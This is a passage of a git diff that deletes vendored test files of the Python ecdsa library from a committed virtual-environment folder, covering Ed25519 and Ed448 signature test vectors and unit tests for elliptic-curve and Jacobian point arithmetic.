"fcffead94f3c7ca495e056a9b47acdb7" - "51fb73e666c6c655ade8297297d07ad1" - "ba5e43f1bca32301651339e22904cc8c" - "42f58c30c04aafdb038dda0847dd988d" - "cda6f3bfd15c4b4c4525004aa06eeff8" - "ca61783aacec57fb3d1f92b0fe2fd1a8" - "5f6724517b65e614ad6808d6f6ee34df" - "f7310fdc82aebfd904b01e1dc54b2927" - "094b2db68d6f903b68401adebf5a7e08" - "d78ff4ef5d63653a65040cf9bfd4aca7" - "984a74d37145986780fc0b16ac451649" - "de6188a7dbdf191f64b5fc5e2ab47b57" - "f7f7276cd419c17a3ca8e1b939ae49e4" - "88acba6b965610b5480109c8b17b80e1" - "b7b750dfc7598d5d5011fd2dcc5600a3" - "2ef5b52a1ecc820e308aa342721aac09" - "43bf6686b64b2579376504ccc493d97e" - "6aed3fb0f9cd71a43dd497f01f17c0e2" - "cb3797aa2a2f256656168e6c496afc5f" - "b93246f6b1116398a346f1a641f3b041" - "e989f7914f90cc2c7fff357876e506b5" - "0d334ba77c225bc307ba537152f3f161" - "0e4eafe595f6d9d90d11faa933a15ef1" - "369546868a7f3a45a96768d40fd9d034" - "12c091c6315cf4fde7cb68606937380d" - "b2eaaa707b4c4185c32eddcdd306705e" - "4dc1ffc872eeee475a64dfac86aba41c" - "0618983f8741c5ef68d3a101e8a3b8ca" - "c60c905c15fc910840b94c00a0b9d0", - "0aab4c900501b3e24d7cdf4663326a3a" - "87df5e4843b2cbdb67cbf6e460fec350" - "aa5371b1508f9f4528ecea23c436d94b" - "5e8fcd4f681e30a6ac00a9704a188a03", - ), - # TEST SHA(abc) - ( - generator_ed25519, - "833fe62409237b9d62ec77587520911e" "9a759cec1d19755b7da901b96dca3d42", - "ec172b93ad5e563bf4932c70e1245034" "c35467ef2efd4d64ebf819683467e2bf", - "ddaf35a193617abacc417349ae204131" - "12e6fa4e89a97ea20a9eeee64b55d39a" - "2192992a274fc1a836ba3c23a3feebbd" - "454d4423643ce80e2a9ac94fa54ca49f", - "dc2a4459e7369633a52b1bf277839a00" - "201009a3efbf3ecb69bea2186c26b589" - "09351fc9ac90b3ecfdfbc7c66431e030" - "3dca179c138ac17ad9bef1177331a704", - ), - # Blank - ( - generator_ed448, - "6c82a562cb808d10d632be89c8513ebf" - "6c929f34ddfa8c9f63c9960ef6e348a3" - "528c8a3fcc2f044e39a3fc5b94492f8f" - "032e7549a20098f95b", - "5fd7449b59b461fd2ce787ec616ad46a" - "1da1342485a70e1f8a0ea75d80e96778" - "edf124769b46c7061bd6783df1e50f6c" - "d1fa1abeafe8256180", - "", - "533a37f6bbe457251f023c0d88f976ae" - "2dfb504a843e34d2074fd823d41a591f" - "2b233f034f628281f2fd7a22ddd47d78" - "28c59bd0a21bfd3980ff0d2028d4b18a" - "9df63e006c5d1c2d345b925d8dc00b41" - "04852db99ac5c7cdda8530a113a0f4db" - "b61149f05a7363268c71d95808ff2e65" - "2600", - ), - # 1 octet - ( - generator_ed448, - "c4eab05d357007c632f3dbb48489924d" - "552b08fe0c353a0d4a1f00acda2c463a" - "fbea67c5e8d2877c5e3bc397a659949e" - "f8021e954e0a12274e", - "43ba28f430cdff456ae531545f7ecd0a" - "c834a55d9358c0372bfa0c6c6798c086" - "6aea01eb00742802b8438ea4cb82169c" - "235160627b4c3a9480", - "03", - "26b8f91727bd62897af15e41eb43c377" - "efb9c610d48f2335cb0bd0087810f435" - "2541b143c4b981b7e18f62de8ccdf633" - "fc1bf037ab7cd779805e0dbcc0aae1cb" - "cee1afb2e027df36bc04dcecbf154336" - "c19f0af7e0a6472905e799f1953d2a0f" - "f3348ab21aa4adafd1d234441cf807c0" - "3a00", - ), - # 11 octets - ( - generator_ed448, - "cd23d24f714274e744343237b93290f5" - "11f6425f98e64459ff203e8985083ffd" - "f60500553abc0e05cd02184bdb89c4cc" - "d67e187951267eb328", - "dcea9e78f35a1bf3499a831b10b86c90" - "aac01cd84b67a0109b55a36e9328b1e3" - "65fce161d71ce7131a543ea4cb5f7e9f" - "1d8b00696447001400", - "0c3e544074ec63b0265e0c", - "1f0a8888ce25e8d458a21130879b840a" - "9089d999aaba039eaf3e3afa090a09d3" - "89dba82c4ff2ae8ac5cdfb7c55e94d5d" - "961a29fe0109941e00b8dbdeea6d3b05" - "1068df7254c0cdc129cbe62db2dc957d" - "bb47b51fd3f213fb8698f064774250a5" - "028961c9bf8ffd973fe5d5c206492b14" - "0e00", - ), - # 12 octets - ( - generator_ed448, - "258cdd4ada32ed9c9ff54e63756ae582" - "fb8fab2ac721f2c8e676a72768513d93" - "9f63dddb55609133f29adf86ec9929dc" - "cb52c1c5fd2ff7e21b", - "3ba16da0c6f2cc1f30187740756f5e79" - "8d6bc5fc015d7c63cc9510ee3fd44adc" - "24d8e968b6e46e6f94d19b945361726b" - "d75e149ef09817f580", - "64a65f3cdedcdd66811e2915", - "7eeeab7c4e50fb799b418ee5e3197ff6" - "bf15d43a14c34389b59dd1a7b1b85b4a" - "e90438aca634bea45e3a2695f1270f07" - "fdcdf7c62b8efeaf00b45c2c96ba457e" - "b1a8bf075a3db28e5c24f6b923ed4ad7" - "47c3c9e03c7079efb87cb110d3a99861" - "e72003cbae6d6b8b827e4e6c143064ff" - "3c00", - ), - # 13 octets - ( - generator_ed448, - "7ef4e84544236752fbb56b8f31a23a10" - "e42814f5f55ca037cdcc11c64c9a3b29" - "49c1bb60700314611732a6c2fea98eeb" - "c0266a11a93970100e", - "b3da079b0aa493a5772029f0467baebe" - "e5a8112d9d3a22532361da294f7bb381" - "5c5dc59e176b4d9f381ca0938e13c6c0" - "7b174be65dfa578e80", - "64a65f3cdedcdd66811e2915e7", - "6a12066f55331b6c22acd5d5bfc5d712" - "28fbda80ae8dec26bdd306743c5027cb" - "4890810c162c027468675ecf645a8317" - "6c0d7323a2ccde2d80efe5a1268e8aca" - "1d6fbc194d3f77c44986eb4ab4177919" - "ad8bec33eb47bbb5fc6e28196fd1caf5" - "6b4e7e0ba5519234d047155ac727a105" - "3100", - ), - # 64 octets - ( - generator_ed448, - "d65df341ad13e008567688baedda8e9d" - "cdc17dc024974ea5b4227b6530e339bf" - "f21f99e68ca6968f3cca6dfe0fb9f4fa" - "b4fa135d5542ea3f01", - "df9705f58edbab802c7f8363cfe5560a" - "b1c6132c20a9f1dd163483a26f8ac53a" - "39d6808bf4a1dfbd261b099bb03b3fb5" - "0906cb28bd8a081f00", - "bd0f6a3747cd561bdddf4640a332461a" - "4a30a12a434cd0bf40d766d9c6d458e5" - "512204a30c17d1f50b5079631f64eb31" - "12182da3005835461113718d1a5ef944", - "554bc2480860b49eab8532d2a533b7d5" - "78ef473eeb58c98bb2d0e1ce488a98b1" - "8dfde9b9b90775e67f47d4a1c3482058" - "efc9f40d2ca033a0801b63d45b3b722e" - "f552bad3b4ccb667da350192b61c508c" - "f7b6b5adadc2c8d9a446ef003fb05cba" - "5f30e88e36ec2703b349ca229c267083" - "3900", - ), - # 256 octets - ( - generator_ed448, - "2ec5fe3c17045abdb136a5e6a913e32a" - "b75ae68b53d2fc149b77e504132d3756" - "9b7e766ba74a19bd6162343a21c8590a" - "a9cebca9014c636df5", - "79756f014dcfe2079f5dd9e718be4171" - "e2ef2486a08f25186f6bff43a9936b9b" - "fe12402b08ae65798a3d81e22e9ec80e" - "7690862ef3d4ed3a00", - "15777532b0bdd0d1389f636c5f6b9ba7" - "34c90af572877e2d272dd078aa1e567c" - "fa80e12928bb542330e8409f31745041" - "07ecd5efac61ae7504dabe2a602ede89" - "e5cca6257a7c77e27a702b3ae39fc769" - "fc54f2395ae6a1178cab4738e543072f" - "c1c177fe71e92e25bf03e4ecb72f47b6" - "4d0465aaea4c7fad372536c8ba516a60" - "39c3c2a39f0e4d832be432dfa9a706a6" - "e5c7e19f397964ca4258002f7c0541b5" - "90316dbc5622b6b2a6fe7a4abffd9610" - "5eca76ea7b98816af0748c10df048ce0" - "12d901015a51f189f3888145c03650aa" - "23ce894c3bd889e030d565071c59f409" - "a9981b51878fd6fc110624dcbcde0bf7" - "a69ccce38fabdf86f3bef6044819de11", - "c650ddbb0601c19ca11439e1640dd931" - "f43c518ea5bea70d3dcde5f4191fe53f" - "00cf966546b72bcc7d58be2b9badef28" - "743954e3a44a23f880e8d4f1cfce2d7a" - "61452d26da05896f0a50da66a239a8a1" - "88b6d825b3305ad77b73fbac0836ecc6" - "0987fd08527c1a8e80d5823e65cafe2a" - "3d00", - ), - # 1023 octets - ( - generator_ed448, - "872d093780f5d3730df7c212664b37b8" - "a0f24f56810daa8382cd4fa3f77634ec" - "44dc54f1c2ed9bea86fafb7632d8be19" - "9ea165f5ad55dd9ce8", - "a81b2e8a70a5ac94ffdbcc9badfc3feb" - "0801f258578bb114ad44ece1ec0e799d" - "a08effb81c5d685c0c56f64eecaef8cd" - "f11cc38737838cf400", - "6ddf802e1aae4986935f7f981ba3f035" - "1d6273c0a0c22c9c0e8339168e675412" - "a3debfaf435ed651558007db4384b650" - "fcc07e3b586a27a4f7a00ac8a6fec2cd" - "86ae4bf1570c41e6a40c931db27b2faa" - "15a8cedd52cff7362c4e6e23daec0fbc" - "3a79b6806e316efcc7b68119bf46bc76" - "a26067a53f296dafdbdc11c77f7777e9" - "72660cf4b6a9b369a6665f02e0cc9b6e" - "dfad136b4fabe723d2813db3136cfde9" - "b6d044322fee2947952e031b73ab5c60" - "3349b307bdc27bc6cb8b8bbd7bd32321" - "9b8033a581b59eadebb09b3c4f3d2277" - "d4f0343624acc817804728b25ab79717" - "2b4c5c21a22f9c7839d64300232eb66e" - "53f31c723fa37fe387c7d3e50bdf9813" - "a30e5bb12cf4cd930c40cfb4e1fc6225" - "92a49588794494d56d24ea4b40c89fc0" - "596cc9ebb961c8cb10adde976a5d602b" - "1c3f85b9b9a001ed3c6a4d3b1437f520" - "96cd1956d042a597d561a596ecd3d173" - "5a8d570ea0ec27225a2c4aaff26306d1" - "526c1af3ca6d9cf5a2c98f47e1c46db9" - "a33234cfd4d81f2c98538a09ebe76998" - "d0d8fd25997c7d255c6d66ece6fa56f1" - "1144950f027795e653008f4bd7ca2dee" - "85d8e90f3dc315130ce2a00375a318c7" - "c3d97be2c8ce5b6db41a6254ff264fa6" - "155baee3b0773c0f497c573f19bb4f42" - "40281f0b1f4f7be857a4e59d416c06b4" - "c50fa09e1810ddc6b1467baeac5a3668" - "d11b6ecaa901440016f389f80acc4db9" - "77025e7f5924388c7e340a732e554440" - "e76570f8dd71b7d640b3450d1fd5f041" - "0a18f9a3494f707c717b79b4bf75c984" - "00b096b21653b5d217cf3565c9597456" - "f70703497a078763829bc01bb1cbc8fa" - "04eadc9a6e3f6699587a9e75c94e5bab" - "0036e0b2e711392cff0047d0d6b05bd2" - "a588bc109718954259f1d86678a579a3" - "120f19cfb2963f177aeb70f2d4844826" - "262e51b80271272068ef5b3856fa8535" - "aa2a88b2d41f2a0e2fda7624c2850272" - "ac4a2f561f8f2f7a318bfd5caf969614" - "9e4ac824ad3460538fdc25421beec2cc" - "6818162d06bbed0c40a387192349db67" - "a118bada6cd5ab0140ee273204f628aa" - "d1c135f770279a651e24d8c14d75a605" - "9d76b96a6fd857def5e0b354b27ab937" - "a5815d16b5fae407ff18222c6d1ed263" - "be68c95f32d908bd895cd76207ae7264" - "87567f9a67dad79abec316f683b17f2d" - "02bf07e0ac8b5bc6162cf94697b3c27c" - "d1fea49b27f23ba2901871962506520c" - "392da8b6ad0d99f7013fbc06c2c17a56" - "9500c8a7696481c1cd33e9b14e40b82e" - "79a5f5db82571ba97bae3ad3e0479515" - "bb0e2b0f3bfcd1fd33034efc6245eddd" - "7ee2086ddae2600d8ca73e214e8c2b0b" - "db2b047c6a464a562ed77b73d2d841c4" - "b34973551257713b753632efba348169" - "abc90a68f42611a40126d7cb21b58695" - "568186f7e569d2ff0f9e745d0487dd2e" - "b997cafc5abf9dd102e62ff66cba87", - "e301345a41a39a4d72fff8df69c98075" - "a0cc082b802fc9b2b6bc503f926b65bd" - "df7f4c8f1cb49f6396afc8a70abe6d8a" - "ef0db478d4c6b2970076c6a0484fe76d" - "76b3a97625d79f1ce240e7c576750d29" - "5528286f719b413de9ada3e8eb78ed57" - "3603ce30d8bb761785dc30dbc320869e" - "1a00", - ), -] - - -@pytest.mark.parametrize( - "generator,private_key,public_key,message,signature", - TEST_VECTORS, -) -def test_vectors(generator, private_key, public_key, message, signature): - private_key = a2b_hex(private_key) - public_key = a2b_hex(public_key) - message = a2b_hex(message) - signature = a2b_hex(signature) - - sig_key = PrivateKey(generator, private_key) - ver_key = PublicKey(generator, public_key) - - assert sig_key.public_key().public_key() == ver_key.public_key() - - gen_sig = sig_key.sign(message) - - assert gen_sig == signature - - assert ver_key.verify(message, signature) diff --git a/venv/Lib/site-packages/ecdsa/test_ellipticcurve.py b/venv/Lib/site-packages/ecdsa/test_ellipticcurve.py deleted file mode 100644 index 864cf108befba232e3b99605339f7470511061a9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/test_ellipticcurve.py +++ /dev/null @@ -1,294 +0,0 @@ -import pytest - -try: - import unittest2 as unittest -except ImportError: - import unittest -from hypothesis import given, settings -import hypothesis.strategies as st - -try: - from hypothesis import HealthCheck - - HC_PRESENT = True -except ImportError: # pragma: no cover - HC_PRESENT = False -from .numbertheory import inverse_mod -from .ellipticcurve import CurveFp, INFINITY, Point, CurveEdTw - - -HYP_SETTINGS = {} -if HC_PRESENT: # pragma: no branch - HYP_SETTINGS["suppress_health_check"] = [HealthCheck.too_slow] - HYP_SETTINGS["deadline"] = 5000 - - -# NIST Curve P-192: -p = 6277101735386680763835789423207666416083908700390324961279 -r = 6277101735386680763835789423176059013767194773182842284081 -# s = 0x3045ae6fc8422f64ed579528d38120eae12196d5 -# c = 0x3099d2bbbfcb2538542dcd5fb078b6ef5f3d6fe2c745de65 -b = 0x64210519E59C80E70FA7E9AB72243049FEB8DEECC146B9B1 -Gx = 0x188DA80EB03090F67CBF20EB43A18800F4FF0AFD82FF1012 -Gy = 0x07192B95FFC8DA78631011ED6B24CDD573F977A11E794811 - -c192 = CurveFp(p, -3, b) -p192 = Point(c192, Gx, Gy, r) - -c_23 = CurveFp(23, 1, 1) -g_23 = Point(c_23, 13, 7, 7) - - -HYP_SLOW_SETTINGS = dict(HYP_SETTINGS) -HYP_SLOW_SETTINGS["max_examples"] = 2 - - -@settings(**HYP_SLOW_SETTINGS) -@given(st.integers(min_value=1, max_value=r - 1)) -def test_p192_mult_tests(multiple): - inv_m = inverse_mod(multiple, r) - - p1 = p192 * multiple - assert p1 * inv_m == p192 - - -def add_n_times(point, n): - ret = INFINITY - i = 0 - while i <= n: - yield ret - ret = ret + point - i += 1 - - -# From X9.62 I.1 (p. 96): -@pytest.mark.parametrize( - "p, m, check", - [(g_23, n, exp) for n, exp in enumerate(add_n_times(g_23, 8))], - ids=["g_23 test with mult {0}".format(i) for i in range(9)], -) -def test_add_and_mult_equivalence(p, m, check): - assert p * m == check - - -class TestCurve(unittest.TestCase): - @classmethod - def setUpClass(cls): - cls.c_23 = CurveFp(23, 1, 1) - - def test_equality_curves(self): - self.assertEqual(self.c_23, CurveFp(23, 1, 1)) - - def test_inequality_curves(self): - c192 = CurveFp(p, -3, b) - self.assertNotEqual(self.c_23, c192) - - def test_inequality_curves_by_b_only(self): - a = CurveFp(23, 1, 0) - b = CurveFp(23, 1, 1) - self.assertNotEqual(a, b) - - def test_usability_in_a_hashed_collection_curves(self): - {self.c_23: None} - - def test_hashability_curves(self): - hash(self.c_23) - - def test_conflation_curves(self): - ne1, ne2, ne3 = CurveFp(24, 1, 1), CurveFp(23, 2, 1), CurveFp(23, 1, 2) - eq1, eq2, eq3 = CurveFp(23, 1, 1), CurveFp(23, 1, 1), self.c_23 - self.assertEqual(len(set((c_23, eq1, eq2, eq3))), 1) - self.assertEqual(len(set((c_23, ne1, ne2, ne3))), 4) - self.assertDictEqual({c_23: None}, {eq1: None}) - self.assertIn(eq2, {eq3: None}) - - def test___str__(self): - self.assertEqual(str(self.c_23), "CurveFp(p=23, a=1, b=1)") - - def test___str___with_cofactor(self): - c = CurveFp(23, 1, 1, 4) - self.assertEqual(str(c), "CurveFp(p=23, a=1, b=1, h=4)") - - -class TestCurveEdTw(unittest.TestCase): - @classmethod - def setUpClass(cls): - cls.c_23 = CurveEdTw(23, 1, 1) - - def test___str__(self): - self.assertEqual(str(self.c_23), "CurveEdTw(p=23, a=1, d=1)") - - def test___str___with_cofactor(self): - c = CurveEdTw(23, 1, 1, 4) - self.assertEqual(str(c), "CurveEdTw(p=23, a=1, d=1, h=4)") - - def test_usability_in_a_hashed_collection_curves(self): - {self.c_23: None} - - def test_hashability_curves(self): - hash(self.c_23) - - -class TestPoint(unittest.TestCase): - @classmethod - def setUpClass(cls): - cls.c_23 = CurveFp(23, 1, 1) - cls.g_23 = Point(cls.c_23, 13, 7, 7) - - p = 6277101735386680763835789423207666416083908700390324961279 - r = 6277101735386680763835789423176059013767194773182842284081 - # s = 0x3045ae6fc8422f64ed579528d38120eae12196d5 - # c = 0x3099d2bbbfcb2538542dcd5fb078b6ef5f3d6fe2c745de65 - b = 0x64210519E59C80E70FA7E9AB72243049FEB8DEECC146B9B1 - Gx = 0x188DA80EB03090F67CBF20EB43A18800F4FF0AFD82FF1012 - Gy = 0x07192B95FFC8DA78631011ED6B24CDD573F977A11E794811 - - cls.c192 = CurveFp(p, -3, b) - cls.p192 = Point(cls.c192, Gx, Gy, r) - - def test_p192(self): - # Checking against some sample computations presented - # in X9.62: - d = 651056770906015076056810763456358567190100156695615665659 - Q = d * self.p192 - self.assertEqual( - Q.x(), 0x62B12D60690CDCF330BABAB6E69763B471F994DD702D16A5 - ) - - k = 6140507067065001063065065565667405560006161556565665656654 - R = k * self.p192 - self.assertEqual( - R.x(), 0x885052380FF147B734C330C43D39B2C4A89F29B0F749FEAD - ) - self.assertEqual( - R.y(), 0x9CF9FA1CBEFEFB917747A3BB29C072B9289C2547884FD835 - ) - - u1 = 2563697409189434185194736134579731015366492496392189760599 - u2 = 6266643813348617967186477710235785849136406323338782220568 - temp = u1 * self.p192 + u2 * Q - self.assertEqual( - temp.x(), 0x885052380FF147B734C330C43D39B2C4A89F29B0F749FEAD - ) - self.assertEqual( - temp.y(), 0x9CF9FA1CBEFEFB917747A3BB29C072B9289C2547884FD835 - ) - - def test_double_infinity(self): - p1 = INFINITY - p3 = p1.double() - self.assertEqual(p1, p3) - self.assertEqual(p3.x(), p1.x()) - self.assertEqual(p3.y(), p3.y()) - - def test_double(self): - x1, y1, x3, y3 = (3, 10, 7, 12) - - p1 = Point(self.c_23, x1, y1) - p3 = p1.double() - self.assertEqual(p3.x(), x3) - self.assertEqual(p3.y(), y3) - - def test_double_to_infinity(self): - p1 = Point(self.c_23, 11, 20) - p2 = p1.double() - self.assertEqual((p2.x(), p2.y()), (4, 0)) - self.assertNotEqual(p2, INFINITY) - p3 = p2.double() - self.assertEqual(p3, INFINITY) - self.assertIs(p3, INFINITY) - - def test_add_self_to_infinity(self): - p1 = Point(self.c_23, 11, 20) - p2 = p1 + p1 - self.assertEqual((p2.x(), p2.y()), (4, 0)) - self.assertNotEqual(p2, INFINITY) - p3 = p2 + p2 - self.assertEqual(p3, INFINITY) - self.assertIs(p3, INFINITY) - - def test_mul_to_infinity(self): - p1 = Point(self.c_23, 11, 20) - p2 = p1 * 2 - self.assertEqual((p2.x(), p2.y()), (4, 0)) - self.assertNotEqual(p2, INFINITY) - p3 = p2 * 2 - self.assertEqual(p3, INFINITY) - self.assertIs(p3, INFINITY) - - def test_multiply(self): - x1, y1, m, x3, y3 = (3, 10, 2, 7, 12) - p1 = Point(self.c_23, x1, y1) - p3 = p1 * m - self.assertEqual(p3.x(), x3) - self.assertEqual(p3.y(), y3) - - # Trivial tests from X9.62 B.3: - def test_add(self): - """We expect that on curve c, (x1,y1) + (x2, y2 ) = (x3, y3).""" - - x1, y1, x2, y2, x3, y3 = (3, 10, 9, 7, 17, 20) - p1 = Point(self.c_23, x1, y1) - p2 = Point(self.c_23, x2, y2) - p3 = p1 + p2 - self.assertEqual(p3.x(), x3) - self.assertEqual(p3.y(), y3) - - def test_add_as_double(self): - """We expect that on curve c, (x1,y1) + (x2, y2 ) = (x3, y3).""" - - x1, y1, x2, y2, x3, y3 = (3, 10, 3, 10, 7, 12) - p1 = Point(self.c_23, x1, y1) - p2 = Point(self.c_23, x2, y2) - p3 = p1 + p2 - self.assertEqual(p3.x(), x3) - self.assertEqual(p3.y(), y3) - - def test_equality_points(self): - self.assertEqual(self.g_23, Point(self.c_23, 13, 7, 7)) - - def test_inequality_points(self): - c = CurveFp(100, -3, 100) - p = Point(c, 100, 100, 100) - self.assertNotEqual(self.g_23, p) - - def test_inequality_points_diff_types(self): - c = CurveFp(100, -3, 100) - self.assertNotEqual(self.g_23, c) - - def test_inequality_diff_y(self): - p1 = Point(self.c_23, 6, 4) - p2 = Point(self.c_23, 6, 19) - - self.assertNotEqual(p1, p2) - - def test_to_bytes_from_bytes(self): - p = Point(self.c_23, 3, 10) - - self.assertEqual(p, Point.from_bytes(self.c_23, p.to_bytes())) - - def test_add_to_neg_self(self): - p = Point(self.c_23, 3, 10) - - self.assertEqual(INFINITY, p + (-p)) - - def test_add_to_infinity(self): - p = Point(self.c_23, 3, 10) - - self.assertIs(p, p + INFINITY) - - def test_mul_infinity_by_scalar(self): - self.assertIs(INFINITY, INFINITY * 10) - - def test_mul_by_negative(self): - p = Point(self.c_23, 3, 10) - - self.assertEqual(p * -5, (-p) * 5) - - def test_str_infinity(self): - self.assertEqual(str(INFINITY), "infinity") - - def test_str_point(self): - p = Point(self.c_23, 3, 10) - - self.assertEqual(str(p), "(3,10)") diff --git a/venv/Lib/site-packages/ecdsa/test_jacobi.py b/venv/Lib/site-packages/ecdsa/test_jacobi.py deleted file mode 100644 index f811b9221da7604102827e265a4ea505f77796dd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/test_jacobi.py +++ /dev/null @@ -1,934 +0,0 @@ -import pickle -import sys - -try: - import unittest2 as unittest -except ImportError: - import unittest - -import os -import signal -import pytest -import threading -import platform -import hypothesis.strategies as st -from hypothesis import given, assume, settings, example - -from .ellipticcurve import CurveFp, PointJacobi, INFINITY, Point -from .ecdsa import ( - generator_256, - curve_256, - generator_224, - generator_brainpoolp160r1, - curve_brainpoolp160r1, - generator_112r2, - curve_112r2, -) -from .numbertheory import inverse_mod -from .util import randrange - - -NO_OLD_SETTINGS = {} -if sys.version_info > (2, 7): # pragma: no branch - NO_OLD_SETTINGS["deadline"] = 5000 - - -SLOW_SETTINGS = {} -if "--fast" in sys.argv: # pragma: no cover - SLOW_SETTINGS["max_examples"] = 2 -else: - SLOW_SETTINGS["max_examples"] = 10 - - -class TestJacobi(unittest.TestCase): - def test___init__(self): - curve = object() - x = 2 - y = 3 - z = 1 - order = 4 - pj = PointJacobi(curve, x, y, z, order) - - self.assertEqual(pj.order(), order) - self.assertIs(pj.curve(), curve) - self.assertEqual(pj.x(), x) - self.assertEqual(pj.y(), y) - - def test_add_with_different_curves(self): - p_a = PointJacobi.from_affine(generator_256) - p_b = PointJacobi.from_affine(generator_224) - - with self.assertRaises(ValueError): # pragma: no branch - p_a + p_b - - def test_compare_different_curves(self): - self.assertNotEqual(generator_256, generator_224) - - def test_equality_with_non_point(self): - pj = PointJacobi.from_affine(generator_256) - - self.assertNotEqual(pj, "value") - - def test_conversion(self): - pj = PointJacobi.from_affine(generator_256) - pw = pj.to_affine() - - self.assertEqual(generator_256, pw) - - def test_single_double(self): - pj = PointJacobi.from_affine(generator_256) - pw = generator_256.double() - - pj = pj.double() - - self.assertEqual(pj.x(), pw.x()) - self.assertEqual(pj.y(), pw.y()) - - def test_double_with_zero_point(self): - pj = PointJacobi(curve_256, 0, 0, 1) - - pj = pj.double() - - self.assertIs(pj, INFINITY) - - def test_double_with_zero_equivalent_point(self): - pj = PointJacobi(curve_256, 0, 0, 0) - - pj = pj.double() - - self.assertIs(pj, INFINITY) - - def test_double_with_zero_equivalent_point_non_zero_z_non_zero_y(self): - pj = PointJacobi(curve_256, 0, 1, curve_256.p()) - - pj = pj.double() - - self.assertIs(pj, INFINITY) - - def test_double_with_zero_equivalent_point_non_zero_z(self): - pj = PointJacobi(curve_256, 0, 0, curve_256.p()) - - pj = pj.double() - - self.assertIs(pj, INFINITY) - - def test_compare_with_affine_point(self): - pj = PointJacobi.from_affine(generator_256) - pa = pj.to_affine() - - self.assertEqual(pj, pa) - self.assertEqual(pa, pj) - - def test_to_affine_with_zero_point(self): - pj = PointJacobi(curve_256, 0, 0, 0) - - pa = pj.to_affine() - - self.assertIs(pa, INFINITY) - - def test_add_with_affine_point(self): - pj = PointJacobi.from_affine(generator_256) - pa = pj.to_affine() - - s = pj + pa - - self.assertEqual(s, pj.double()) - - def test_radd_with_affine_point(self): - pj = PointJacobi.from_affine(generator_256) - pa = pj.to_affine() - - s = pa + pj - - self.assertEqual(s, pj.double()) - - def test_add_with_infinity(self): - pj = PointJacobi.from_affine(generator_256) - - s = pj + INFINITY - - self.assertEqual(s, pj) - - def test_add_zero_point_to_affine(self): - pa = PointJacobi.from_affine(generator_256).to_affine() - pj = PointJacobi(curve_256, 0, 0, 0) - - s = pj + pa - - self.assertIs(s, pa) - - def test_multiply_by_zero(self): - pj = PointJacobi.from_affine(generator_256) - - pj = pj * 0 - - self.assertIs(pj, INFINITY) - - def test_zero_point_multiply_by_one(self): - pj = PointJacobi(curve_256, 0, 0, 1) - - pj = pj * 1 - - self.assertIs(pj, INFINITY) - - def test_multiply_by_one(self): - pj = PointJacobi.from_affine(generator_256) - pw = generator_256 * 1 - - pj = pj * 1 - - self.assertEqual(pj.x(), pw.x()) - self.assertEqual(pj.y(), pw.y()) - - def test_multiply_by_two(self): - pj = PointJacobi.from_affine(generator_256) - pw = generator_256 * 2 - - pj = pj * 2 - - self.assertEqual(pj.x(), pw.x()) - self.assertEqual(pj.y(), pw.y()) - - def test_rmul_by_two(self): - pj = PointJacobi.from_affine(generator_256) - pw = generator_256 * 2 - - pj = 2 * pj - - self.assertEqual(pj, pw) - - def test_compare_non_zero_with_infinity(self): - pj = PointJacobi.from_affine(generator_256) - - self.assertNotEqual(pj, INFINITY) - - def test_compare_non_zero_bad_scale_with_infinity(self): - pj = PointJacobi(curve_256, 1, 1, 0) - self.assertEqual(pj, INFINITY) - - def test_eq_x_0_on_curve_with_infinity(self): - c_23 = CurveFp(23, 1, 1) - pj = PointJacobi(c_23, 0, 1, 1) - - self.assertTrue(c_23.contains_point(0, 1)) - - self.assertNotEqual(pj, INFINITY) - - def test_eq_y_0_on_curve_with_infinity(self): - c_23 = CurveFp(23, 1, 1) - pj = PointJacobi(c_23, 4, 0, 1) - - self.assertTrue(c_23.contains_point(4, 0)) - - self.assertNotEqual(pj, INFINITY) - - def test_eq_with_same_x_different_y(self): - c_23 = CurveFp(23, 1, 1) - p_a = PointJacobi(c_23, 0, 22, 1) - p_b = PointJacobi(c_23, 0, 1, 1) - - self.assertNotEqual(p_a, p_b) - - def test_compare_zero_point_with_infinity(self): - pj = PointJacobi(curve_256, 0, 0, 0) - - self.assertEqual(pj, INFINITY) - - def test_compare_double_with_multiply(self): - pj = PointJacobi.from_affine(generator_256) - dbl = pj.double() - mlpl = pj * 2 - - self.assertEqual(dbl, mlpl) - - @settings(**SLOW_SETTINGS) - @given( - st.integers( - min_value=0, max_value=int(generator_brainpoolp160r1.order() - 1) - ) - ) - def test_multiplications(self, mul): - pj = PointJacobi.from_affine(generator_brainpoolp160r1) - pw = pj.to_affine() * mul - - pj = pj * mul - - self.assertEqual((pj.x(), pj.y()), (pw.x(), pw.y())) - self.assertEqual(pj, pw) - - @settings(**SLOW_SETTINGS) - @given( - st.integers( - min_value=0, max_value=int(generator_brainpoolp160r1.order() - 1) - ) - ) - @example(0) - @example(int(generator_brainpoolp160r1.order())) - def test_precompute(self, mul): - precomp = generator_brainpoolp160r1 - self.assertTrue(precomp._PointJacobi__precompute) - pj = PointJacobi.from_affine(generator_brainpoolp160r1) - - a = precomp * mul - b = pj * mul - - self.assertEqual(a, b) - - @settings(**SLOW_SETTINGS) - @given( - st.integers( - min_value=1, max_value=int(generator_brainpoolp160r1.order() - 1) - ), - st.integers( - min_value=1, max_value=int(generator_brainpoolp160r1.order() - 1) - ), - ) - @example(3, 3) - def test_add_scaled_points(self, a_mul, b_mul): - j_g = PointJacobi.from_affine(generator_brainpoolp160r1) - a = PointJacobi.from_affine(j_g * a_mul) - b = PointJacobi.from_affine(j_g * b_mul) - - c = a + b - - self.assertEqual(c, j_g * (a_mul + b_mul)) - - @settings(**SLOW_SETTINGS) - @given( - st.integers( - min_value=1, max_value=int(generator_brainpoolp160r1.order() - 1) - ), - st.integers( - min_value=1, max_value=int(generator_brainpoolp160r1.order() - 1) - ), - st.integers(min_value=1, max_value=int(curve_brainpoolp160r1.p() - 1)), - ) - def test_add_one_scaled_point(self, a_mul, b_mul, new_z): - j_g = PointJacobi.from_affine(generator_brainpoolp160r1) - a = PointJacobi.from_affine(j_g * a_mul) - b = PointJacobi.from_affine(j_g * b_mul) - - p = curve_brainpoolp160r1.p() - - assume(inverse_mod(new_z, p)) - - new_zz = new_z * new_z % p - - b = PointJacobi( - curve_brainpoolp160r1, - b.x() * new_zz % p, - b.y() * new_zz * new_z % p, - new_z, - ) - - c = a + b - - self.assertEqual(c, j_g * (a_mul + b_mul)) - - @pytest.mark.slow - @settings(**SLOW_SETTINGS) - @given( - st.integers( - min_value=1, max_value=int(generator_brainpoolp160r1.order() - 1) - ), - st.integers( - min_value=1, max_value=int(generator_brainpoolp160r1.order() - 1) - ), - st.integers(min_value=1, 